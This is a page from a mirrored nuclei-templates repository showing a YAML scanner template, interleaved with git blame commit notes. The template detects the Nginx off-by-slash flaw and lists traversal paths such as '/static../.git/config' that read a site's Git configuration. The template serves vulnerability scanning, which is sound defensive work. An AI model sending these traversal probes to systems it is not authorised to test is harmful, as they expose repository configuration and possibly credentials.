daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/exposures/configs/git-config-nginxoffbyslash....

31 lines
944 B
YAML
Raw Normal View History

updates
2020-07-02 13:53:41 +00:00
id: git-config-nginxoffbyslash
info:
add few descriptions add few descriptions and references on /vulnerabilities/ templates.
2020-08-25 19:43:43 +00:00
name: Nginx off-by-slash exposes Git config
updates
2020-07-02 13:53:41 +00:00
author: organiccrap
severity: medium
add few descriptions add few descriptions and references on /vulnerabilities/ templates.
2020-08-25 19:43:43 +00:00
description: Nginx off-by-slash vulnerability exposes Git configuration.
misc tag updates
2021-04-06 06:46:11 +00:00
tags: config,exposure
Removed pipe (|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84
2021-08-18 11:37:49 +00:00
reference:
Refrence also includes explaination and a solution
2021-05-10 06:47:28 +00:00
- https://twitter.com/Random_Robbie/status/1262676628167110656
- https://github.com/PortSwigger/nginx-alias-traversal/blob/master/off-by-slash.py
severity updates
2020-09-20 12:57:43 +00:00
updates
2020-07-02 13:53:41 +00:00
requests:
- method: GET
path:
- '{{BaseURL}}/static../.git/config'
- '{{BaseURL}}/js../.git/config'
- '{{BaseURL}}/images../.git/config'
- '{{BaseURL}}/img../.git/config'
- '{{BaseURL}}/css../.git/config'
- '{{BaseURL}}/assets../.git/config'
- '{{BaseURL}}/content../.git/config'
- '{{BaseURL}}/events../.git/config'
- '{{BaseURL}}/media../.git/config'
- '{{BaseURL}}/lib../.git/config'
Added stop-at-first-match in applicable templates
2021-09-02 11:59:10 +00:00
stop-at-first-match: true
updates
2020-07-02 13:53:41 +00:00
matchers:
- type: word
words:
- '[core]'